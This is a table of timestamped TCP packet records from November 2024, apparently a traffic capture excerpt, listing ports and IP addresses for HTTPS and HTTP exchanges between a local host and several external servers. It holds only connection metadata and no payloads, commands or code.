Nov 25, 2024 03:39:51.020690918 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.021886110 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.021898031 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.022316933 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.024383068 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.024492025 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.027702093 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.027720928 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.027731895 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.142885923 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.142904997 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.142911911 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.142935038 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.142945051 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.142959118 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.143007994 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.143023014 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.143053055 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.143073082 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.214576960 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.214607000 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.214613914 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.214652061 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.214669943 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.214683056 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.214705944 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.214720011 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.214747906 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.214771986 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.255784035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.255871058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.255878925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.255913019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.256138086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.256177902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.256256104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.256304979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.256724119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.256850958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.256892920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.257596970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.257648945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.257687092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.257721901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.258497953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.258574963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.258589983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.258625031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.259438992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.259480000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.259506941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.259522915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.260276079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.260327101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.260356903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.260392904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.261110067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.261158943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.261181116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.261197090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.261995077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.262058973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.262089968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.262124062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.262887955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.263025999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.263072968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.263757944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.263818979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.263855934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.263892889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.264624119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.264666080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.264724970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.264756918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.265537024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.265574932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.265644073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.265677929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.266393900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.266462088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.266498089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.266530037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.267273903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.267333984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.267385006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.267420053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.268165112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.268258095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.268285036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.268317938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.269028902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.269071102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.269138098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.269335032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.269913912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.269965887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.270000935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.270040989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.270776987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.270832062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.270885944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.270967960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.271673918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.271789074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.271833897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.272547960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.272609949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.272645950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.272682905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.273435116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.273503065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.273551941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.274363995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.274429083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.274451017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.274485111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.275191069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.275281906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.275320053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.275415897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.276087046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.276129007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.276190042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.276223898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.276948929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.276988983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.277049065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.277275085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.277839899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.277900934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.277930975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.277966976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.278708935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.278764009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.278799057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.278909922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.279616117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.279700041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.279728889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.279768944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.280513048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.280580997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.280615091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.280654907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.281358004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.281415939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.281523943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.281596899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.282250881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.282342911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.282363892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.282378912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.283097982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.283155918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.283190966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.283225060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.283979893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.284024000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.284071922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.284106970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.284917116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.285018921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.285067081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.285790920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.285851002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.285886049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.285921097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.286623955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.286672115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.286710978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.286854982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.287508011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.287570953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.287606955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.287833929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.288374901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.288414001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.288471937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.288517952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.289241076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.289292097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.325638056 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.325650930 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.325691938 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.325709105 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.325726032 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.325732946 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.325752020 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.325783968 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.364784956 CET	49806	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.364830017 CET	443	49806	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:51.364912033 CET	49806	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.366476059 CET	49807	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.366518974 CET	443	49807	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:51.366621017 CET	49807	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.366878033 CET	49806	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.366893053 CET	443	49806	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:51.367089987 CET	49807	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:51.367101908 CET	443	49807	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:51.368966103 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.368990898 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.369034052 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.369050026 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.369077921 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.369100094 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.385438919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.385535955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.385550022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.385591984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.385858059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.385883093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.385925055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.386775017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.386796951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.386818886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.386837006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.387661934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.387675047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.387716055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.388501883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.388582945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.388611078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.388647079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.389391899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.389458895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.389491081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.389529943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.390275955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.390311956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.390333891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.390367031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.391172886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.391254902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.391283989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.391321898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.392077923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.392174006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.392203093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.392258883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.392927885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.392982006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.393021107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.393063068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.393806934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.393857002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.393934965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.394000053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.394670963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.394747019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.394758940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.394798994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.395544052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.395596027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.395665884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.396411896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.396440983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.396461010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.396522045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.396552086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.397329092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.397449017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.397495985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.398200035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.398251057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.398288012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.398324966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.413475037 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.413505077 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.413563967 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.413589001 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.413610935 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.413633108 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.459490061 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.459515095 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.459604979 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.459628105 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.459647894 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.459667921 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.466334105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.466406107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.466434002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.466743946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.466783047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.466916084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.466957092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.467645884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.467813015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.467858076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.468535900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.468683958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.468732119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.469432116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.469491959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.469506025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.469734907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.470287085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.470349073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.470451117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.470494986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.471163988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.471220970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.471260071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.471302986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.472070932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.472170115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.472214937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.472901106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.473021030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.473068953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.473819971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.473886967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.473923922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.474000931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.474689960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.474704027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.474771023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.475584030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.475696087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.475734949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.475879908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.476438999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.476491928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.476531029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.476767063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.477303982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.477366924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.477411032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.477515936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.478219986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.478280067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.478315115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.478363991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.479069948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.479129076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.479207039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.479240894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.479952097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.480072975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.480118990 CET	49748	80	192.168.2.8	185.215.113.206
